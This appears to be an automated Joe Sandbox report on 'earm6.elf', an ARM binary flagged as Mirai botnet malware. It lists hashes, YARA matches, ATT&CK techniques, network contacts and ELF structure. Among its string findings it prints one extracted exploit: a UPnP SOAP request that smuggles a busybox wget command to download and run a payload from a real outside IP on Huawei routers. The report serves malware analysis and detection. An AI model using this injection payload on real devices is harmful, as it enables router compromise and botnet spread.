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Linux Analysis Report
earm6.elf

Overview

General Information

Sample name:	earm6.elf
Analysis ID:	1586122
MD5:	782d7ac25bed9e13343d44bab39fbe69
SHA1:	630c1f68c88806a7744fbfec8177369e9ec635f5
SHA256:	d065883344627ba010b0c13ce363a8a03a64d02fbaa760767b3834e4ba6542b8
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	72
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Yara detected Mirai

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1586122
Start date and time:	2025-01-08 18:40:59 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 33s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	earm6.elf
Detection:	MAL
Classification:	mal72.troj.linELF@0/0@0/0

Runtime Messages

Command:	/tmp/earm6.elf
PID:	6249
Exit Code:	139
Exit Code Info:	SIGSEGV (11) Segmentation fault invalid memory reference
Killed:	False
Standard Output:
Standard Error:	qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Process Tree

system is lnxubuntu20

earm6.elf (PID: 6249, Parent: 6171, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/earm6.elf

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
earm6.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
earm6.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author
6249.1.00007f87b0017000.00007f87b0029000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6249.1.00007f87b0017000.00007f87b0029000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Process Memory Space: earm6.elf PID: 6249	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security

String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.87.41.132 -l /tmp/kp -r /hmips; /bin/busybox chmod 777 * /tmp/kp; /tmp/kp huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal72.troj.linELF@0/0@0/0

Source: /tmp/earm6.elf (PID: 6249)

Queries kernel information via 'uname':

Jump to behavior

Source: earm6.elf, 6249.1.00005648614d7000.0000564861605000.rw-.sdmp	Binary or memory string: NaHV!/etc/qemu-binfmt/arm
Source: earm6.elf, 6249.1.00007ffff334e000.00007ffff336f000.rw-.sdmp	Binary or memory string: hcx86_64/usr/bin/qemu-arm/tmp/earm6.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/earm6.elf
Source: earm6.elf, 6249.1.00005648614d7000.0000564861605000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: earm6.elf, 6249.1.00007ffff334e000.00007ffff336f000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: earm6.elf, 6249.1.00007ffff334e000.00007ffff336f000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: earm6.elf, type: SAMPLE
Source: Yara match	File source: 6249.1.00007f87b0017000.00007f87b0029000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: earm6.elf PID: 6249, type: MEMORYSTR

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: earm6.elf, type: SAMPLE
Source: Yara match	File source: 6249.1.00007f87b0017000.00007f87b0029000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: earm6.elf PID: 6249, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
earm6.elf	63%	ReversingLabs	Linux.Trojan.Mirai
earm6.elf	100%	Avira	EXP/ELF.Mirai.Hua.c

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	earm6.elf	false		high
http://schemas.xmlsoap.org/soap/envelope/	earm6.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
109.202.202.202	unknown	Switzerland	13030	INIT7CH	false
91.189.91.43	unknown	United Kingdom	41231	CANONICAL-ASGB	false
91.189.91.42	unknown	United Kingdom	41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
109.202.202.202	kpLwzBouH4.elf	Get hash	malicious	Unknown	Browse	ch.archive.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_92.0%2bbuild3-0ubuntu0.20.04.1_amd64.deb
91.189.91.43	2.elf	Get hash	malicious	Unknown	Browse
	dlr.arm7.elf	Get hash	malicious	Unknown	Browse
	main_x86.elf	Get hash	malicious	Mirai	Browse
	m5.elf	Get hash	malicious	Unknown	Browse
	uYtea.x86.elf	Get hash	malicious	Unknown	Browse
	uYtea.mpsl.elf	Get hash	malicious	Unknown	Browse
	uYtea.x86_64.elf	Get hash	malicious	Unknown	Browse
	main_x86_64.elf	Get hash	malicious	Mirai	Browse
	Aqua.arm5.elf	Get hash	malicious	Unknown	Browse
	main_m68k.elf	Get hash	malicious	Mirai	Browse
91.189.91.42	2.elf	Get hash	malicious	Unknown	Browse
	dlr.arm7.elf	Get hash	malicious	Unknown	Browse
	main_x86.elf	Get hash	malicious	Mirai	Browse
	m5.elf	Get hash	malicious	Unknown	Browse
	uYtea.x86.elf	Get hash	malicious	Unknown	Browse
	uYtea.mpsl.elf	Get hash	malicious	Unknown	Browse
	uYtea.x86_64.elf	Get hash	malicious	Unknown	Browse
	main_x86_64.elf	Get hash	malicious	Mirai	Browse
	Aqua.arm5.elf	Get hash	malicious	Unknown	Browse
	main_m68k.elf	Get hash	malicious	Mirai	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CANONICAL-ASGB	2.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	dlr.arm7.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	main_x86.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	m5.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	uYtea.sh4.elf	Get hash	malicious	Unknown	Browse	185.125.190.26
	uYtea.x86.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	uYtea.arc.elf	Get hash	malicious	Mirai	Browse	185.125.190.26
	uYtea.mpsl.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	uYtea.x86_64.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	main_x86_64.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
CANONICAL-ASGB	2.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	dlr.arm7.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	main_x86.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	m5.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	uYtea.sh4.elf	Get hash	malicious	Unknown	Browse	185.125.190.26
	uYtea.x86.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	uYtea.arc.elf	Get hash	malicious	Mirai	Browse	185.125.190.26
	uYtea.mpsl.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	uYtea.x86_64.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	main_x86_64.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
INIT7CH	2.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	dlr.arm7.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	main_x86.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	m5.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	uYtea.x86.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	uYtea.mpsl.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	uYtea.x86_64.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	main_x86_64.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	Aqua.arm5.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	main_m68k.elf	Get hash	malicious	Mirai	Browse	109.202.202.202

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.116012876128642
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	earm6.elf
File size:	75'096 bytes
MD5:	782d7ac25bed9e13343d44bab39fbe69
SHA1:	630c1f68c88806a7744fbfec8177369e9ec635f5
SHA256:	d065883344627ba010b0c13ce363a8a03a64d02fbaa760767b3834e4ba6542b8
SHA512:	fcaff91b19fd9f3ad4879249ab5a606d6e0fc582bf5e1e59b2b85f826fd582356830eedc8211a6496219e095d7a91c1a1e6bd05c29127e4affc21e7e1275d906
SSDEEP:	1536:HUnr9DnnHM5hNR1sraqagNu8wQIMUi2uHaM5FYB3q:IHM/NfsrNagEuHaM/w6
TLSH:	83733B46B8819B12D5D5127AFE2E128E3313177CE3DF73129D20AF24778A96B0E3B915
File Content Preview:	.ELF..............(.....T...4...x#......4. ...(.....................x...x................ ... ... ......l...........Q.td..................................-...L..................@-.,@...0....S..... 0....S.........../..0...0...@..../..#....... ....-.@0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8154
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	74616
Section Header Size:	40
Number of Section Headers:	12
Header String Table Index:	11

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x10	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0x1015c	0x0	0x6	AX	16
.fini	PROGBITS	0x1820c	0x1020c	0x10	0x0	0x6	AX	4
.rodata	PROGBITS	0x18220	0x10220	0x1a58	0x0	0x2	A	8
.init_array	INIT_ARRAY	0x22004	0x12008	0x4	0x0	0x3	WA	4
.fini_array	FINI_ARRAY	0x22008	0x1200c	0x4	0x0	0x3	WA	4
.got	PROGBITS	0x22010	0x12014	0x74	0x4	0x3	WA	4
.data	PROGBITS	0x22084	0x12088	0x280	0x0	0x3	WA	4
.bss	NOBITS	0x22304	0x12308	0x256c	0x0	0x3	WA	4
.ARM.attributes	ARM_ATTRIBUTES	0x0	0x12308	0x10	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x12318	0x5d	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0x11c78	0x11c78	6.1818	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0x12004	0x22004	0x22000	0x304	0xa86c	3.8473	0x6	RW	0x8000	.init_array .fini_array .got .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 8, 2025 18:41:54.418381929 CET	43928	443	192.168.2.23	91.189.91.42
Jan 8, 2025 18:41:59.793608904 CET	42836	443	192.168.2.23	91.189.91.43
Jan 8, 2025 18:42:00.817429066 CET	42516	80	192.168.2.23	109.202.202.202
Jan 8, 2025 18:42:14.383573055 CET	43928	443	192.168.2.23	91.189.91.42
Jan 8, 2025 18:42:26.670023918 CET	42836	443	192.168.2.23	91.189.91.43
Jan 8, 2025 18:42:30.765328884 CET	42516	80	192.168.2.23	109.202.202.202
Jan 8, 2025 18:42:55.338002920 CET	43928	443	192.168.2.23	91.189.91.42

System Behavior

Analysis Process: earm6.elf PID: 6249, Parent PID: 6171

General

Start time (UTC):	17:41:51
Start date (UTC):	08/01/2025
Path:	/tmp/earm6.elf
Arguments:	/tmp/earm6.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Source: earm6.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: earm6.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Warning!

Linux Analysis Report earm6.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

System Behavior

Analysis Process: earm6.elf PID: 6249, Parent PID: 6171

General

Chronological Activities

Linux Analysis Report
earm6.elf